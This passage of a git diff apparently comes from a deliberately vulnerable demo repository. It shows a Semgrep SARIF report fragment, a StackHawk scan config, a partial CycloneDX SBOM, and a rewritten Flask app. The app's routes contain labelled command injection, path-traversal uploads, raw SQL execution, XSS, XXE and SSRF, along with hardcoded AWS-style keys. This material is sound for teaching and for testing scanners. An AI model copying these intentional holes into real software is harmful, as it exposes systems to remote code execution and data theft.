(HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","id":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","name":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid"}}],"semanticVersion":"1.96.0"}}}],"$schema":"https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"}
\ No newline at end of file
diff --git a/insecure-api/stackhawk.yml b/insecure-api/stackhawk.yml
new file mode 100644
index 0000000..d45a819
--- /dev/null
+++ b/insecure-api/stackhawk.yml
@@ -0,0 +1,34 @@
+# -- stackhawk configuration for fastapi --
+app:
+  # -- An applicationId obtained from the StackHawk platform. --
+  applicationId: 7b0e0603-c269-4353-8ee0-6ee39f7c3f2b # (required)
+  # -- The environment for the applicationId defined in the StackHawk platform. --
+  env: Development # (required)
+  # -- The url of your application to scan --
+  host:  http://localhost:8000 # (required)
+
+
+# -- Customized Configuration for GraphQL/SOAP/OpenAPI, add here --
+  openApiConf:
+    path: /openapi.json # OR...
+#     filePath: openApi.json
+  autoPolicy: true
+  autoInputVectors: true
+  # Configuration Docs: https://docs.stackhawk.com/hawkscan/configuration/
+
+# -- If Authenticated Scanning is needed, add here --
+tokenAuthorization:
+  # The method by which the token will be passed to your application.
+  # In this case a header is expected
+  type: HEADER
+  # The name of the header that the token will be passed with requests authenticated routes.
+  value: admintoken
+  # The token type when using the Authorization header as is being used here.
+  # Bearer is the most common value but custom names like "JWT" or "token" are sometimes required.
+  tokenType: Bearer   
+  # Authenticated Scanning Docs: https://docs.stackhawk.com/hawkscan/authenticated-scanning.html
+  # Authenticated Scanning Repo: https://github.com/kaakaww/scan-configuration/tree/main/Authentication
+
+# -- Help Section --
+  # Docs: https://docs.stackhawk.com/
+  # Contact Support: support@stackhawk.com
\ No newline at end of file
diff --git a/insecure-api/videogames.db b/insecure-api/videogames.db
new file mode 100644
index 0000000..8bba0ac
Binary files /dev/null and b/insecure-api/videogames.db differ
diff --git a/insecure-app/Dockerfile b/insecure-app/Dockerfile
index 267a68f..1f73cb0 100644
--- a/insecure-app/Dockerfile
+++ b/insecure-app/Dockerfile
@@ -4,6 +4,9 @@ FROM ubuntu:20.04
 # Avoid interactive dialog during package installation
 ENV DEBIAN_FRONTEND=noninteractive
 
+# Set SCRIPT_NAME for ingress-nginx
+ENV SCRIPT_NAME=/app
+
 # Install Python, pip, and Docker CLI
 RUN apt-get update && \
     apt-get install -y python3 python3-pip curl apt-transport-https ca-certificates software-properties-common && \
@@ -19,8 +22,9 @@ RUN mkdir /app
 WORKDIR /app
 
 # Add application and requirements.txt
-ADD ./insecure-app/app.py /app/
-ADD ./insecure-app/requirements.txt /app/ 
+COPY app.py /app/
+COPY requirements.txt /app/
+COPY templates /app/templates/
 
 # Install Python packages from requirements.txt
 RUN python3 -m pip install --no-cache-dir -r requirements.txt
diff --git a/insecure-app/app.py b/insecure-app/app.py
index b8dc202..0939a30 100644
--- a/insecure-app/app.py
+++ b/insecure-app/app.py
@@ -1,63 +1,173 @@
-from flask import Flask, request, render_template_string, send_from_directory
+from flask import Flask, request, render_template, jsonify, redirect, url_for
 import subprocess
 import os
 import sqlite3
+import requests
+from lxml import etree
+import json
+from werkzeug.middleware.dispatcher import DispatcherMiddleware
+from werkzeug.serving import run_simple
 
+# Example hardcoded AWS credentials (sensitive data leakage)
 aws_access_key_id = 'AKIA2JAPX77RGLB664VE'
 aws_secret = 'v5xpjkWYoy45fGKFSMajSn+sqs22WI2niacX9yO5'
 
 app = Flask(__name__)
 
-@app.route('/', methods=['GET', 'POST'])
-def index():
+# Get the script name from environment variable or default to empty string
+SCRIPT_NAME = os.environ.get('SCRIPT_NAME', '')
+
+# Determine if we're running locally
+IS_LOCAL = os.environ.get('FLASK_ENV') == 'development'
+
+# Set up paths relative to the app directory
+APP_DIR = os.path.dirname(os.path.abspath(__file__))
+DB_PATH = os.path.join(APP_DIR, 'data', 'tutorial.db')
+UPLOADS_DIR = os.path.join(APP_DIR, 'data', 'uploads')
+
+def init_db():
+    # Create data and uploads directories if they don't exist
+    os.makedirs(os.path.dirname(DB_PATH), exist_ok=True)
+    os.makedirs(UPLOADS_DIR, exist_ok=True)
+    
+    # Create database and tables if they don't exist
+    conn = sqlite3.connect(DB_PATH)
+    cursor = conn.cursor()
+    
+    # Create users table
+    cursor.execute('''
+    CREATE TABLE IF NOT EXISTS users (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        username TEXT NOT NULL,
+        password TEXT NOT NULL
+    )
+    ''')
+    
+    # Insert some sample data if the table is empty
+    cursor.execute("SELECT COUNT(*) FROM users")
+    if cursor.fetchone()[0] == 0:
+        cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
+        cursor.execute("INSERT INTO users (username, password) VALUES ('user1', 'password123')")
+    
+    conn.commit()
+    conn.close()
+
+# Initialize database when the app starts
+init_db()
+
+def get_form_action():
+    if IS_LOCAL:
+        return "/app/app/result"
+    return f"{SCRIPT_NAME}/result"
+
+@app.route('/')
+def app_route():
+    return render_template('index.html', script_name=SCRIPT_NAME, form_action=get_form_action())
+
+@app.route('/result', methods=['POST'])
+def result():
     output = ''
-    # SQL Injection?
-    db = sqlite3.connect("tutorial.db")
+    # 1 - SQL Injection
+    db = sqlite3.connect(DB_PATH)
     cursor = db.cursor()
     username = ''
     password = ''
     try:
-        #the % is what makes it bad, instead of passing them in as parameters
         cursor.execute("SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password))
     except:
         pass
-    if request.method == 'POST':
-        if 'command' in request.form:
-            cmd = request.form['command']
-            process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-            stdout, stderr = process.communicate()
-            if process.returncode == 0:
-                output = stdout.decode('utf-8')
-            else:
-                output = f"Error (Exit Code: {process.returncode}):\n{stderr.decode('utf-8')}"
-        elif 'file' in request.files:
-            uploaded_file = request.files['file']
-            uploaded_file.save(os.path.join('/uploads', uploaded_file.filename))
-            output = f"File {uploaded_file.filename} uploaded successfully!"
-        elif 'sql' in request.form:
-            sql = request.form['sql']
+
+    # 2 - Command Injection
+    if 'command' in request.form:
+        cmd = request.form['command']
+        process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        stdout, stderr = process.communicate()
+        if process.returncode == 0:
+            output = stdout.decode('utf-8')
+        else:
+            output = f"Error (Exit Code: {process.returncode}):\n{stderr.decode('utf-8')}"
+
+    # 3 - File Upload with no restrictions, and path traversal
+    elif 'file' in request.files:
+        uploaded_file = request.files['file']
+        uploaded_file.save(os.path.join(UPLOADS_DIR, uploaded_file.filename))
+        output = f"File {uploaded_file.filename} uploaded successfully!"
+
+    # 4 - SQL Injection via input
+    elif 'sql' in request.form:
+        sql = request.form['sql']
+        try:
+            # Execute the user's SQL query
             cursor.execute(sql)
-            output = 'SQL command executed successfully!'
-
-    return render_template_string("""
-        <h1>Intentionally Insecure App</h1>
-        <form action="/" method="post">
-            Run a command: <input type="text" name="command">
-            <input type="submit" value="Run">
-        </form>
-        <br>
-        <form action="/" method="post" enctype="multipart/form-data">
-            Upload a file: <input type="file" name="file">
-            <input type="submit" value="Upload">
-        </form>
-        <br>
-        <form action="/" method="post">
-            Inject some SQL <input type="text" name="sql">
-            <input type="submit" value="Run">
-        </form>
-        <pre>{{output}}</pre>
-    """, output=output)
+            # Fetch all rows from the query result
+            rows = cursor.fetchall()
+            # Format the results for display
+            if rows:
+                output = "Results:\n" + "\n".join(str(row) for row in rows)
+            else:
+                output = "Query executed successfully, but no results found."
+        except Exception as e:
+            output = f"SQL Error: {e}"
+
+    # 5 - Cross-Site Scripting (XSS)
+    elif 'xss' in request.form:
+        xss_input = request.form['xss']
+        output = f"Reflected XSS result: {xss_input}"
 
+    # 6 - XML External Entity (XXE) Injection
+    elif 'xml' in request.form:
+        xml_data = request.form['xml']
+        try:
+            # Use lxml to parse the XML data
+            parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
+            tree = etree.fromstring(xml_data.encode(), parser)
+            output = f"Parsed XML: {etree.tostring(tree, encoding='unicode')}"
+        except Exception as e:
+            output = f"XML Parsing Error: {e}"
+
+    # 7 - Server-Side Request Forgery (SSRF)
+    elif 'url' in request.form:
+        url = request.form['url']
+        try:
+            # Get headers and data from form if provided
+            headers = {}
+            if 'headers' in request.form:
+                headers = json.loads(request.form['headers'])
+            
+            data = None
+            if 'data' in request.form:
+                data = request.form['data']
+            
+            # Use POST method and handle data
+            response = requests.post(url, headers=headers, data=data, verify=False)
+            output = f"SSRF Response: {response.text[:200]}"
+        except Exception as e:
+            output = f"SSRF Error: {e}"
+
+    # 8 - SQL injection with parameter instead of whole query
+    elif 'username' in request.form:
+        username = request.form['username']
+        try:
+            # Vulnerable SQL query using string interpolation
+            query = "SELECT password FROM users WHERE username = '{}'".format(username)
+            cursor.execute(query)
+            result = cursor.fetchone()
+            if result:
+                output = f"Password for {username}: {result[0]}"
+            else:
+                output = "User not found."
+        except Exception as e:
+            output = f"SQL Error: {e}"
+
+    return render_template('result.html', output=output, script_name=SCRIPT_NAME)
+
+# Mount the Flask app under /app
+application = DispatcherMiddleware(Flask('dummy_app'), {
+    '/app': app
+})
 
 if __name__ == '__main__':
-    app.run(host='0.0.0.0', port=8080, debug=True)
+    # Set environment to development for local testing
+    os.environ['FLASK_ENV'] = 'development'
+    run_simple('0.0.0.0', 8080, application, use_reloader=True, use_debugger=True)
+
diff --git a/insecure-app/bom.json b/insecure-app/bom.json
new file mode 100644
index 0000000..9b65325
--- /dev/null
+++ b/insecure-app/bom.json
@@ -0,0 +1,11000 @@
+{
+  "bomFormat": "CycloneDX",
+  "specVersion": "1.5",
+  "serialNumber": "urn:uuid:c9e98a75-63d4-495f-9706-de350a323ee5",
+  "version": 1,
+  "metadata": {
+    "timestamp": "2024-05-19T23:01:25Z",
+    "tools": {
+      "components": [
+        {
+          "group": "@cyclonedx",
+          "name": "cdxgen",
+          "version": "10.5.1",
+          "purl": "pkg:npm/%40cyclonedx/cdxgen@10.5.1",
+          "type": "application",
+          "bom-ref": "pkg:npm/@cyclonedx/cdxgen@10.5.1",
+          "author": "OWASP Foundation",
+          "publisher": "OWASP Foundation"
+        }
+      ]
+    },
+    "authors": [
+      {
+        "name": "OWASP Foundation"
+      }
+    ],
+    "lifecycles": [
+      {
+        "phase": "build"
+      }
+    ],
+    "component": {
+      "group": "",
+      "name": "insecure-app",
+      "version": "latest",
+      "type": "application",
+      "bom-ref": "pkg:gem/insecure-app@latest",
+      "purl": "pkg:gem/insecure-app@latest"
+    }
+  },
+  "components": [
+    {
+      "group": "",
+      "name": "bottleneck",
+      "version": "latest",
+      "purl": "pkg:pypi/bottleneck@latest",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/bottleneck@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "numpy",
+      "version": "1.24.3",
+      "purl": "pkg:pypi/numpy@1.24.3",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/numpy@1.24.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "heapdict",
+      "version": "latest",
+      "purl": "pkg:pypi/heapdict@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/heapdict@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "markdown",
+      "version": "latest",
+      "purl": "pkg:pypi/markdown@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/markdown@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pillow",
+      "version": "latest",
+      "purl": "pkg:pypi/pillow@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pillow@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pyqt5-sip",
+      "version": "12.11.0",
+      "purl": "pkg:pypi/pyqt5-sip@12.11.0",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/pyqt5-sip@12.11.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pysocks",
+      "version": "latest",
+      "purl": "pkg:pypi/pysocks@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pysocks@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "pywavelets",
+      "version": "latest",
+      "purl": "pkg:pypi/pywavelets@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pywavelets@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "qdarkstyle",
+      "version": "latest",
+      "purl": "pkg:pypi/qdarkstyle@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/qdarkstyle@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "QtPy",
+      "version": "2.2.0",
+      "purl": "pkg:pypi/qtpy@2.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/qtpy@2.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "packaging",
+      "version": "23.1",
+      "purl": "pkg:pypi/packaging@23.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/packaging@23.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "qtawesome",
+      "version": "latest",
+      "purl": "pkg:pypi/qtawesome@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/qtawesome@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "rtree",
+      "version": "latest",
+      "purl": "pkg:pypi/rtree@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/rtree@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "sqlalchemy",
+      "version": "latest",
+      "purl": "pkg:pypi/sqlalchemy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/sqlalchemy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "greenlet",
+      "version": "2.0.1",
+      "purl": "pkg:pypi/greenlet@2.0.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/greenlet@2.0.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "scrapy",
+      "version": "latest",
+      "purl": "pkg:pypi/scrapy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/scrapy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "Twisted",
+      "version": "22.10.0",
+      "purl": "pkg:pypi/twisted@22.10.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/twisted@22.10.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "zope.interface",
+      "version": "5.4.0",
+      "purl": "pkg:pypi/zope.interface@5.4.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/zope.interface@5.4.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "setuptools",
+      "version": "68.0.0",
+      "purl": "pkg:pypi/setuptools@68.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/setuptools@68.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "constantly",
+      "version": "15.1.0",
+      "purl": "pkg:pypi/constantly@15.1.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/constantly@15.1.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "incremental",
+      "version": "21.3.0",
+      "purl": "pkg:pypi/incremental@21.3.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/incremental@21.3.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "Automat",
+      "version": "20.2.0",
+      "purl": "pkg:pypi/automat@20.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/automat@20.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "attrs",
+      "version": "22.1.0",
+      "purl": "pkg:pypi/attrs@22.1.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/attrs@22.1.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "six",
+      "version": "1.16.0",
+      "purl": "pkg:pypi/six@1.16.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/six@1.16.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "hyperlink",
+      "version": "21.0.0",
+      "purl": "pkg:pypi/hyperlink@21.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/hyperlink@21.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "idna",
+      "version": "2.7",
+      "purl": "pkg:pypi/idna@2.7",
+      "type": "library",
+      "bom-ref": "pkg:pypi/idna@2.7",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
